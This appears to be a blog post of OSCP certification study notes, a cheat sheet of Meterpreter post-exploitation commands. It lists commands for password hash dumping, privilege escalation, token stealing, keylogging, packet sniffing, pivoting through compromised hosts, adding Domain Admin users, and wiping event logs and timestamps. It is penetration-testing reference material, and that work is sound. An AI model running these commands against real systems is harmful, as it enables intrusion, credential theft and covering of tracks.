OSCP - Meterpreter
Basic Commands
sysinfo
getpid
getuid
ps
ps -S notepad.exe
kill <pid>
ipconfig
route
migrate <PID>
getsystem
getprivs
use priv
hashdump
shell
background
File System Commands
ls
pwd
cd
del <file>
cat <file>
edit <file>
upload <src_file> <dst_file>
download <src_file> <dst_file>
getwd
getlwd
Port Forwarding
We have compromised victim1 with meterpreter session_id. Background meterpreter and add the route below. It will redirect all traffic for the above victim2_subnet through victim1.
route add <victim2 subnet> <netmask> <session_id>Forwards traffic from port l on Kali(localhost) to port p of Target2 through the compromised Target1
route -h
route list
route delete <victim2_subnet> <netmask> <session+id>
portfwd
portfwd add -l 1111 -p 2222 -r Target2
portfwd remove -l 1111 -p 2222 -r Target2
Execute Processes
Execute cmd.exe and interact with it
execute -f cmd.exe -iExecute cmd.exe with all available tokens
execute -f cmd.exe -i -tExecute cmd.exe with all available tokens and make it a hidden process
execute -f cmd.exe -i -H -t
- H Create the process hidden from view
- a Arguments to pass to the command
- i Interact with the process after creating it
- m Execute from memory
- t Execute process with currently impersonated thread token
run <scriptname>
Registry
Interact, create, delete, query, set, and much more in the target’s registry
reg <Command> [OPTIONS]commands:
enumkey ->Enumerate the supplied registry key
createkey / deletekey -> Creates/deletes the supplied registry key
setval / queryval -> Set/query values from the supplied registry key
Options:
-d -> Data to store in the registry value
-k -> The registry key
-v -> The registry value name
Tokens
use incognito
list_tokens -u
list_tokens -g
impersonate_token DOMAIN_NAME\\USERNAME
steal_token PID
drop_token
rev2self
Sniffing
use sniffer
sniffer_interfaces
sniffer_dump interfaceID pcapname
sniffer_start interfaceID packet-buffer
sniffer_stats interfaceID
sniffer_stop interfaceID
Post Exploitation
add_user username password -h ip+ Run msfmap
add_group_user “Domain Admins” username -h ip
clearav
timestomp
screenshot
keyscan_start
keyscan_dump
keyscan_stop
uictl enable keyboard/mouse
setdesktop number
reboot
run post/windows/manager/enable_rdp
Download it from http://code.google.com/p/msfmap
load msfmap
msfmap

0 comments:
Post a Comment